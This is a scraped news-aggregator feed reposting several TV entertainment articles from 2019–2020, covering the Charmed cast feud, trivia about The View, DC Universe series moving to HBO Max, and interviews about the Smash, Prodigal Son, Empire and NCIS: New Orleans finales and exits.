“And for the last time I will say it’s not about any 1 person taking a job to support their families or themselves,” Combs concluded. “It’s about an industry that sees us only as numbers whether it be follower #’s or $ signs. Cuz in the end and actually in the beginning that’s all we were/are. Cool.”

Though there’s long been tension between the shows’ casts, this latest flare-up came earlier this week when reboot star Sarah Jeffery responded to Combs and Rose McGowan’s criticism of the new series, which they made earlier this month during an Instagram Live video.

During the video, Combs acknowledged one follower’s comment that the original Charmed has been taken off Netflix. Combs theorized aloud that “when you search for [the show on Netflix], they want you to find the new Charmed and not the old people,” prompting McGowan to respond that the reboot “sucks.”

“I haven’t seen it, I can’t say that. I’ve never seen it,” McGowan continued, adding to a laughing Combs that “I’m happy that people have jobs. But it can still suck.”

“I find it sad and quite frankly pathetic to see grown women behaving this way,” Jeffery tweeted on Monday. “I truly hope they find happiness elsewhere, and not in the form of putting down other [women of color]. I would be embarrassed to behave this way. Peace and love to y’all.”

Combs responded to Jeffery’s tweets on Tuesday, calling them “some [bulls–t].” McGowan also reacted to Jeffery’s tweets on Wednesday, though her response was a tad more combative than Combs’ tweets. “Dear Sarah Jeffery, I honestly had no idea who you were til you tweeted,” she wrote in an Instagram story. After insisting that her criticism of the reboot has nothing to do with its diversity, she added, “There’s no soul or heart in something made purely for profit whilst refusing to elevate and innovate. Reboots will always be the shadow, the originals will always be the sun. I wish you well.”

The cast of Charmed is currently filming the reboot’s third season, which is expected to premiere sometime in 2021.

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]]> https://briefnews.eu/charmeds-holly-marie-combs-calls-to-end-division-between-fans-of-the-original-series-and-the-cw-reboot/feed/ 0 The View in Review: The Soap It ‘Replaced,’ Its No. 1 Guest, the Original Title and Other Fun Facts https://briefnews.eu/the-view-in-review-the-soap-it-replaced-its-no-1-guest-the-original-title-and-other-fun-facts/ https://briefnews.eu/the-view-in-review-the-soap-it-replaced-its-no-1-guest-the-original-title-and-other-fun-facts/#respond Tue, 08 Sep 2020 07:04:34 +0000 https://briefnews.eu/the-view-in-review-the-soap-it-replaced-its-no-1-guest-the-original-title-and-other-fun-facts/ Ahead of The View‘s Season 24 premiere this Tuesday, Sept. 8, ABC’s daytime talker sent out a list of “Hot Topics” (read: fun facts). Because while it has been great sport over the years to focus on the show’s sometimes noisy goings and comings, on a much lighter note it is also interesting to recall….

♦ The title for the daytime series’ original pilot was The View From Here.

♦ The View originally taped in the space that had been home to the cancelled ABC soap opera The City. (Its set from Season 18 on, meanwhile, once upon a time had been horse stables, and as a TV studio it hosted the famous Kennedy/Nixon debate.

♦ In August 2009, when The View‘s Barbara Walters, Whoopi Goldberg, Joy Behar, Elisabeth Hasselbeck and Sherri Shepherd won the Daytime Emmy for Outstanding Talk Show Host, it marked the very first time the award had gone to multiple people. (Fun fact within a fun fact: That Emmy-winning submission featured Democratic presidential candidate Barack Obama.)

ABC View Cantone♦ The guest to put in the most appearances over the years, with a total of 132 visits, is… Mario Cantone. (Last season’s most frequent guest, meanwhile, was Senator and onetime presidential candidate Amy Klobuchar, who swung by four times.)

♦ To date, there have been 22 co-hosts — Walters, Behar, Meredith Vieira, Star Jones, Debbie Matenopoulos, Lisa Ling, Hassselbeck, Rosie O’Donnell, Goldberg, Shepherd, Jenny McCarthy, Nicole Wallace, Rosie Perez, Raven-Symone, Michelle Collins, Candace Cameron Bure, Paula Faris, Sara Haines (who returns to the dais this season), Sunny Hostin, Jebediah Bila, Meghan McCain and Abby Huntsman — plus guest co-host Ana Navarro.

♦ Excluuuusive fun fact! In a July 2019 poll of TVLine readers that asked you to pick your “dream team” of five co-hosts, the top vote-getters were Joy Behar (with 15% of the votes), Whoopi Goldberg (14%), Meredith Vieira (9%), Sunny Hostin (8%) and Ana Navarro (8%). Dwelling in the bottom two spots were Michelle Collins and Debbie Matenopoulos, each of whom netted less than 1% of the votes.

♦ Current POTUS Donald Trump has been on The View a total of 18 times, including two call-ins; he last appeared in-person in June 2014. Joe Biden has been on nine times, including when on April 22, 2010 he became the first sitting VP to be a guest on the show.

♦ Four ladies have welcomed (or will welcome) the birth of at least one of their children while serving as a co-host on The View: Hasselbeck, Haines, Huntsman and soon-to-be mom McCain.

SNL The View

♦ Saturday Night Live has spoofed the show a total of 13 times over the years.

♦ Looking ahead, the new season’s very first guest on Tuesday will be former White House spokesperson Sarah Huckabee Sanders (promoting her new book Speaking for Myself). On Wednesday, the First Lady’s former friend Stephanie Winston Wolkoff will discuss her tell-all, Melania and Me. Thursday brings Jane Fonda (author of What Can I Do?) and GMA co-anchor Robin Roberts, while on Friday it’s “The Political View” with former Ohio Governor John Kasich, plus Eva Longoria.

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]]> https://briefnews.eu/the-view-in-review-the-soap-it-replaced-its-no-1-guest-the-original-title-and-other-fun-facts/feed/ 0 DC Universe Original TV Series Will Be Moving to HBO Max, Says DC CCO https://briefnews.eu/dc-universe-original-tv-series-will-be-moving-to-hbo-max-says-dc-cco/ https://briefnews.eu/dc-universe-original-tv-series-will-be-moving-to-hbo-max-says-dc-cco/#respond Sat, 15 Aug 2020 01:55:42 +0000 https://briefnews.eu/dc-universe-original-tv-series-will-be-moving-to-hbo-max-says-dc-cco/

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Dick Grayson may be getting a new place to hang his domino mask.

To the surprise of perhaps no one, it appears that all DC Universe original series are relocating to HBO Max, DC Chief Content Officer Jim Lee shared in an interview published on Friday.

“The original content that is on DCU is migrating to HBO Max,” Lee shared in a THR Q&A that was pegged to the larger shakeup and massive layoffs currently going on at the iconic comics publisher.

“Truthfully, that’s the best platform for that content,” Lee explained. “The amount of content you get, not just DC [shows], but generally from WarnerMedia, is huge and it’s the best value proposition.” (HBO Max currently fetches $ 14.99/month, whereas DC Universe is $ 7.99.)

As for the digitized backlist of DC comics content that has been living on the nearly two-year-old DC Universe subscription service, “There is always going to be a need for that. So we’re excited to transform it and we’ll have more news on what that will look like,” Lee said. “It’s definitely not going away.”

Neither DC Universe nor HBO Max had further comment beyond what Lee said.

The tea leaves pointing to DC Universe’s transmogrification have been many, starting with the decision to simultaneously stream Doom Patrol Season 2 on HBO Max, followed by the news that DC’s Stargirl‘s freshman run would get a second, broadcast window on The CW, just one day after each streaming debut.

Then in early July, it was announced that DC’s Stargirl had been renewed for a second season that would be a CW exclusive, and not have a home on DC Universe. Two weeks later, DC Universe quietly removed its annual subscription plan, clearly indicating that its medium-term future was, at best, in flux.

As for new seasons of DC Universe Originals already in the hopper, its flagship live-action series, Titans, was renewed for Season 3 last November, while the animated Young Justice was renewed for a fourth season over a year ago. Harley Quinn, which ended Season 2 in late June (and is currently streaming on HBO Max), and Doom Patrol (which streamed its “early” sophomore finale on Aug. 6), both await word on their fates.

Want scoop on any of the above shows? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/dc-universe-original-tv-series-will-be-moving-to-hbo-max-says-dc-cco/feed/ 0 Smash’s Original Pilot Script ‘Had a Lot of Nudity,’ Plus Other Fun Facts From the NBC Cast’s 7-Year Reunion https://briefnews.eu/smashs-original-pilot-script-had-a-lot-of-nudity-plus-other-fun-facts-from-the-nbc-casts-7-year-reunion/ https://briefnews.eu/smashs-original-pilot-script-had-a-lot-of-nudity-plus-other-fun-facts-from-the-nbc-casts-7-year-reunion/#respond Thu, 21 May 2020 08:35:07 +0000 https://briefnews.eu/smashs-original-pilot-script-had-a-lot-of-nudity-plus-other-fun-facts-from-the-nbc-casts-7-year-reunion/

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Fans of Marilyn Monroe, Broadway musicals and thinly veiled sexual baseball metaphors were given a temporary reprieve from all that is 2020 on Wednesday with a special presentation from the cast of NBC’s Smash.

People, in partnership with The Actors Fund, aired a live stream of the short-lived series’ one-night-only concert recorded in New York City on June 8, 2015 — a full two years after Smash wrapped its two-season run. Naturally, this special event was introduced by Renee Zellweger.

To sweeten the pot, 15 cast members — Katharine McPhee, Megan Hilty, Debra Messing, Christian Borle, Jack Davenport, Jeremy Jordan, Andy Mientus, Krysta Rodriguez, Leslie Odom Jr., Will Chase, Wesley Taylor, Brian d’Arcy James, Raza Jaffrey, Jaime Cepero and Ann Harada — reunited on Zoom during intermission for a conversation moderated by Difficult People‘s Julie Klausner. Again, naturally.

Here are a few nuggets we gleaned from the cast’s candid conversation:

* “The original script that I read had a lot of nudity,” McPhee recalled, referring to Smash‘s pre-NBC days; it was initially being developed during Bob Greenblatt’s days at Showtime. Added Messing, “It was sexy. It was definitely a cable show. I remember reading it and thinking, ‘This might be the best pilot script I’ve ever read. For this script, I will move to New York.’ And then we got the watered-down version, and I was like, ‘Where’s the sex?’”

* While discussing the show’s intense choreography, Davenport said he was only ever written one scene in which his character had to demonstrate dance moves for Karen. After seeing how it turned out, the producers realized that “sitting behind a desk and scowling worked better” for Derek.

* While most cast members look back on their Smash days with fondness, the same can’t be said for Cepero, who played infamous Season 1 villain Ellis. “Even today, people will see me on the street and just come up to me and tell me they hate me,” he said. “People tell me that means I did a good job.”

* Jordan admitted that the “hate-watching” aspect of the viewership was “difficult” to deal with, especially as the cast finished filming the end of Season 2. “Unfortunately, that negativity drowned out a lot of the positive stuff we did on the show.”

* Hands down, the thing Borle talks about the most from his time on Smash is “what a good kisser Leslie is.” To that, Odom replied, “I had to bring something to the table, so I brought the ability to kiss.”

How do you feel about Smash, now that we’ve (somehow) lived seven years without it? Drop a comment with your thoughts below.

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]]> https://briefnews.eu/smashs-original-pilot-script-had-a-lot-of-nudity-plus-other-fun-facts-from-the-nbc-casts-7-year-reunion/feed/ 0 Prodigal Son Bosses Break Down the Finale’s Killer Twist, Reveal Original Plan for Scrapped Season 1 Episodes https://briefnews.eu/prodigal-son-bosses-break-down-the-finales-killer-twist-reveal-original-plan-for-scrapped-season-1-episodes/ https://briefnews.eu/prodigal-son-bosses-break-down-the-finales-killer-twist-reveal-original-plan-for-scrapped-season-1-episodes/#respond Tue, 28 Apr 2020 09:08:02 +0000 https://briefnews.eu/prodigal-son-bosses-break-down-the-finales-killer-twist-reveal-original-plan-for-scrapped-season-1-episodes/

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The following post contains major spoilers for Prodigal Son‘s Season 1 finale. Proceed with caution!

Of all the Whitly family members we would have expected to see covered in blood after brutally stabbing someone to death, Ainsley Whitly was on the bottom of that list.

And yet, in the final moments of Monday’s Prodigal Son finale, it was Malcolm Bright’s sister who unexpectedly killed Dermot Mulroney’s slimy Nicholas Endicott. Though it seemed at first like Malcolm was going to shoot Nicholas, he hesitated when he realized killing Nicholas would just make him more like his father. Then, moments later, Ainsley came up behind Nicholas and slit his throat, then finished the job by stabbing him in the chest seven (!) times.

“What just happened?” a blood-spattered Ainsley asked Malcolm, as if she were coming out of a trance. But Malcolm’s attempt to comfort his sister was interrupted by a phone call from their father, who had just escaped a sticky situation of his own in prison. And while Malcolm didn’t explicitly reveal that Ainsley had murdered Nicholas, he did hint to his father that she had done something drastic — and Martin couldn’t have been prouder. “My girl!” Martin beamed, ending the episode (and potentially the entire series, which has yet to be renewed for Season 2).

Elsewhere in the finale, Gil was rushed to emergency surgery after Nicholas’ assistant stabbed him, and Malcolm finally came face-to-face with Sophie Sanders, better known as the Girl in the Box. What’s more, Sophie confessed to murdering Eddie, the man who killed Eve — but Malcolm couldn’t bring himself to turn her in.

Although Prodigal Son was one of many series to shut down production over coronavirus concerns, Monday’s episode actually was the intended finale, due to the order in which episodes were filmed; Episodes 19 and 20, however, could not be completed. Below, series co-creators Chris Fedak and Sam Sklaver discuss how the season was impacted by those lost episodes, as well as how that Ainsley twist would play out in Season 2.

TVLINE | This production shutdown put you in an interesting place, given that you were able to film your intended finale but had to scrap Episodes 19 and 20. Did losing those two hours force you to change the episodes that did air?
CHRIS FEDAK | Everything was changing very quickly in that last week before production went down. As Sam and I were looking at the situation in New York, we got the very strong impression that we’d be shutting down, and we’d be shutting down for a while. What we did was, we quickly rewrote Episodes 19 and 20 — and those episodes are fantastic, we hope to come back to them at some point — and we turned them into two scenes that became the first two scenes of Episode 21. Essentially, we scrapped those two episodes, and we linked the end of Episode 18 to the beginning of Episode 21.
SAM SKLAVER | We were hoping to tell a five-episode story with [Nicholas Endicott]. We would meet him in Episode 18, as we did, and he was a very lovely character, and he was a romantic interest to Jessica. And he would remain a romantic interest for a while, and then we would realize that Nicholas Endicott was a monster. We had a much longer game plan with Dermot, because he’s so fabulous. We wanted to use him as much as possible, and that’s really what we had to cut short.

When we only had a few days left to shoot, we were like, “Oh, shoot, we have to turn Nicholas into a bad guy.” That was [originally] a whole episode, when they realized that. So we had to bring in Anna [Eilinsfeld], who plays Sophie, and have her say, “Nicholas Endicott is a monster.” We were very fortunate, though, in that once we realized all we had to do was turn Nicholas into a bad guy and deal with Eve’s death, somehow it could flow pretty seamlessly from Episode 18 to Episode 21, just with shooting those two scenes. We weren’t able to do everything we wanted, but we were so fortunate in that we got to end the season with the story that we had always wanted to tell since we first sold this show to Fox. It was fortunate for us, and we wouldn’t have been able to do any of this without our post-production team.

Prodigal Son FinaleTVLINE | Outside of the Nicholas arc, were there other storylines from those two lost episodes that you’d like to fold into Season 2 somehow?
FEDAK | Absolutely. We had two very good episodes that allowed us to explore two things that we’d wanted to get into from the beginning of the season: One had to do with exorcism, and the other one had to do with technology. Those were the genres that we were stepping into in those weeks. And the other thing we didn’t get to touch was watching Ainsley do her thing as an investigative reporter. We had some fun stuff that we wanted to do there.
SKLAVER | And for the very niche audience who’s a fan, we had a new car for Gil. [Laughs] His LeMans got destroyed by Bright jumping out of a window in Episode 13, and we had a really great thing with Gil finally getting a new car. I know Lou Diamond Phillips was very excited about that, as well. We need to work that story back in, most importantly.

TVLINE | Tell me about the Ainsley twist in this episode. Did the idea of making her a killer come up as you outlined this finale, or had you been building toward this all season?
FEDAK | It was something we were intentionally building toward. We always knew this was something we wanted to play with when we started talking about the season, in regards to Ainsley’s psychology as opposed to Bright’s. It’s also a big part of where we’re excited to go next year.
SKLAVER | The story that Ainsley always told herself was that she was too young to be affected by her father, but when Chris and I started thinking about these characters, we thought there’s no way she wasn’t affected by her father. She was just dealing with it differently. So we kind of loved the misdirect that all the attention is on Bright, who is older and had a stronger relationship with his father, but of course Ainsley was also affected by it. Trying to find a way to get to that was always the plan, because Halston Sage is such a rockstar, and in exploring this central dynamic of “like father, like son,” we also wanted to see what it would do to his daughter, as well.

TVLINE | I found Martin’s “My girl!” exclamation really interesting. Should we take that to mean Ainsley will be more of the focus in Season 2?
FEDAK | Ainsley is still a very big part of the show. We have a lot of fun getting into the psychology of our characters, and she’s as much a mystery now as she was at the beginning of this year. That’s something we’d like to explore, and whenever we’re breaking down our stories, we not only break down the mystery of what people do, but also the mystery of what’s happening inside their minds. It’s definitely going to be a big part of Season 2.

TVLINE | What kind of toll is this going to take on her psyche? It’s not like she seemed to relish killing Nicholas; it was almost like she came out of a fog once it was done. How will we see that manifest?
FEDAK | I only want to dip my toe into the story of Season 2, but what you’re seeing in that moment is exactly what we were going for on the page. You’re seeing a very complicated reaction to a very stressful and dynamic situation, and the ramifications of that will be dealt with next year — not only for her, but also for her brother, who’s been dealing with his father for all these years and now has to try and understand his sister and what happened in that moment. But that complexity is our intention.
SKLAVER | Luckily, Chris and I have never slit a man’s throat and stabbed him six times like Ainsley does.
FEDAK | [Laughs]SKLAVER | But I have to imagine that it does change you. [Laughs] It’s not something you can just tuck away, or if it is something you try to tuck away, as we’ve explored throughout the season, you can’t bury ghosts and trauma. They will always come back to you. So we’re afraid, but we’re not afraid of exploring it.

TVLINE | The Girl in the Box storyline was wrapped up pretty thoroughly in this episode. Looking ahead, do you intend to tell more stories that involve Malcolm investigating his father’s past victims?
FEDAK | This is a show about memory, and it’s about what happened in our pasts and how it defines us. In this season, we went back to the Girl in the Box because we were fascinated with who she was and what she meant to Bright, and also with Bright discovering that his father was a killer. There are other parts of Bright’s past that we can’t wait to get into. What was it like being a kid with your father on trial for murder? That was the biggest trial in New York in the 1990s, and that’s a place we want to explore. There are still other revelations for us to get into.
SKLAVER | And Martin Whitly killed 23 people that we know of, but there could easily be more. And Martin’s own past is something that we’re very excited to get into. What was Martin’s childhood like? How does someone like Martin get made? The Girl in the Box was a very poignant story to tell because it was a connection that the two of them had, and it was some of Bright’s memories that we could explore. But going back to 1998 and before that, it’s very rich territory.

With that, I hand it over to you. What did you think of Prodigal Son‘s finale? Grade it in our poll below, then drop a comment with your reactions!

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]]> https://briefnews.eu/prodigal-son-bosses-break-down-the-finales-killer-twist-reveal-original-plan-for-scrapped-season-1-episodes/feed/ 0 Empire Series Finale: EP Reveals What Was Supposed to (and Still Might?) Happen in the Original Ending https://briefnews.eu/empire-series-finale-ep-reveals-what-was-supposed-to-and-still-might-happen-in-the-original-ending/ https://briefnews.eu/empire-series-finale-ep-reveals-what-was-supposed-to-and-still-might-happen-in-the-original-ending/#respond Wed, 22 Apr 2020 08:54:35 +0000 https://briefnews.eu/empire-series-finale-ep-reveals-what-was-supposed-to-and-still-might-happen-in-the-original-ending/

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Empire wrapped its six-season run on Tuesday with a final episode that carried with it a giant asterisk. Although billed as a series finale, the episode was actually an amalgam of the Fox drama’s antepenultimate and penultimate hours. The admirably assembled makeshift closer replaces the original swan song, production of which was, as you know, KO’d (or merely postponed?) by COVID-19.

The episode’s patchwork-y DNA was at times visible on screen, particularly in the overstuffed final 15 minutes that crammed in a breakup (Lucious and Yana), two major character deaths (Yana and Big Bad Damon Cross), the long-awaited premiere of the Hakeem-fronted Empire feature film, and the inevitable romantic reunion between Cookie and Lucious.

Just as noteworthy was what “Home Is on the Way” was missing, namely a resolution to the season-long flash-forward mystery involving the apparent deaths of Cookie and Lucious, via car bomb and gunshots, respectively.

According to Empire showrunner Brett Mahoney, the ill-fated 20th episode (aka the original series finale) was going to wrap up both cliffhangers, as well as bring resolution to a number of other dangling threads. The EP remains hopeful that the intended farewell will eventually be shot in order to “send the series off” properly. And if not? “I think we’ll find some creative way to get [the information] out there,” he recently told TVLine, “whether it’s by just releasing the script or finding another way to satisfy fans.”

In the meantime, fans will have to make due with the following Q&A, in which Mahoney drops hints about the OG finale while also answering our burning Qs about Tuesday’s ersatz closer.

TVLINE | We never got a resolution to the flash-forward tragedies involving Cookie and Lucious. Would that have been tied up in the original finale?
That’s what breaks my heart. In the [original] series finale all of that plays out. [We find out] who shot Lucious and who blew up Cookie’s car, and [if either one of them survived]. That [storyline’s conclusion] was a victim of COVID-19. I promise you that if we don’t get to film that episode we’ll get the [resolution] out there one way or another.

TVLINE | The fallout from Yana’s death felt rushed. Was that also due to the production halt?
Episode 18 [originally was supposed to] end with the death of Yana, which would’ve given [viewers] a week to [recover]. It would have felt less abrupt than her getting shot and then we [immediately] come back after a commercial break and we’re mourning her death. The beginning of Episode 19 would’ve [picked up] after her death and then the episode ended with the movie premiere.

TVLINE | Safe to say there was going to be a twist leading into Episode 20, the original finale? 
Yes. Whenever we get to shoot 20, it will start with [the Episode 19 cliffhanger]. The [original] idea for 19 had us coming to this place where everything was good, and then [suddenly] that all gets turned upside down and they go on a journey [in 20, before ultimately] coming back to [that happy place]. But since we had shot this scene at the movie premiere, which [resembled the] spirit of the original finale, I [realized] I could build something [for the makeshift finale] with that [footage] and at least end it in the same spirt that we intended, in terms of Cookie and Lucious recognizing their love for one another, and the family coming together and realizing that the Lyons were more important than Empire.

TVLINE | We learned in a recent episode that Jamal and Kai were in the process of adopting a baby. Did they get a happy ending off screen?
There was a line that I cut out [of the episode] for time that said Jamal and Kai and the baby were happily living in London.

TVLINE | Did they have a boy or girl?
A boy.

TVLINE | Andre and Teri’s relationship appeared to be over. Would they have gotten back together in the original finale?
Teri has been through a lot with Andre so I’m not sure she can forgive him and welcome him back into her life. But I will say that Andre, after he decides to stay in New York, proves he is worthy and stable and he can be a father to his son. So the ending is that Andre will be able to raise his son and be in his life and be his father.

TVLINE | You kicked off the episode with a rousing, Cookie-centric ’70s blaxploitation homage. Was that a nod to Taraji P. Henson’s role in Proud Mary?
It wasn’t. It was [inspired by] a [2018] New York Times piece [“The Strong and Stressed Black Woman“]. We thought it tied into the story we were telling about Cookie, in terms of black women having to me superwomen, having to always be strong and not be vulnerable. They are three-dimensional people and, despite their strengths, they also have weaknesses and they also have vulnerabilities. And part of their journey is being able to show that. We were making this point in [Cookie’s] therapy session, and Michael C. Martin — who was one of the writers on the episode —  said something in the writers’ room. I don’t know if he actually brought up the Foxy Brown of it all, but I said that’s what we need to do at the top of the episode. We need a fantasy sequence with Cookie as a superhero.

TVLINE | Lastly, what is the status of the rumored Cookie spinoff? 
I don’t actually know. I don’t have anything to do with any spinoff. But I would imagine [such a series] would be something people would be interested in. And I would imagine the studio and the network would want to explore that. But I don’t know where that is or what they’re doing.

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]]> https://briefnews.eu/empire-series-finale-ep-reveals-what-was-supposed-to-and-still-might-happen-in-the-original-ending/feed/ 0 NCIS: New Orleans Original Cast Member Exits in Season 6: ‘The Show Has Been So Good to Me…’ https://briefnews.eu/ncis-new-orleans-original-cast-member-exits-in-season-6-the-show-has-been-so-good-to-me/ https://briefnews.eu/ncis-new-orleans-original-cast-member-exits-in-season-6-the-show-has-been-so-good-to-me/#respond Wed, 06 Nov 2019 11:03:34 +0000 http://briefnews.eu/ncis-new-orleans-original-cast-member-exits-in-season-6-the-show-has-been-so-good-to-me/

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NCIS: New Orleans bid adieu to one of its original cast members this Tuesday night, six episodes into the CBS drama’s sixth season.

In the episode “Matthew 5:9,” Special Agent Christopher Lasalle (played by Lucas Black) aimed to avenge his brother Cade’s murder by tracking down the drug ring in Alabama he believes is responsible. Early in the hour, Lasalle bumped into a young woman, Sue-Anne Hughes, who led him to the cabin where his brother had been killed. Once there, as he regarded the blood-stained floor, a gunman barged in through a back door and took aim at Sue-Anne. Lasalle pushed her out of harm’s way, before charging the shooter. But in doing so, he sustained multiple GSWs, to the abdomen and his right arm.

Arriving on the scene immediately thereafter, Pride had Lasalle airlifted to the best nearby trauma hospital. Lasalle survived the difficult emergency surgery, and even was awake when Loretta checked in on him. But just moments into that visit, Lasalle’s vitals began waning, monitors beeping, as he dreamily said to his late brother, “Let’s go fishing, Cade….”

Minutes later, after unsuccessful CPR, Lasalle was pronounced dead, to the shock of the entire team.

Lucas Black had been with NCIS: New Orleans since its days as a two-part backdoor pilot episode of NCIS, which aired in Spring 2014.

“We had an amazing run with Lucas Black and he has been such an important part of our NCIS: New Orleans team,” showrunners Christopher Silber and Jan Nash. said in a statement. “We are sad to see him go, but happy he will have more time to spend with his family.”

Black and the rest of the New Orleans cast discuss his departure in the video above. 

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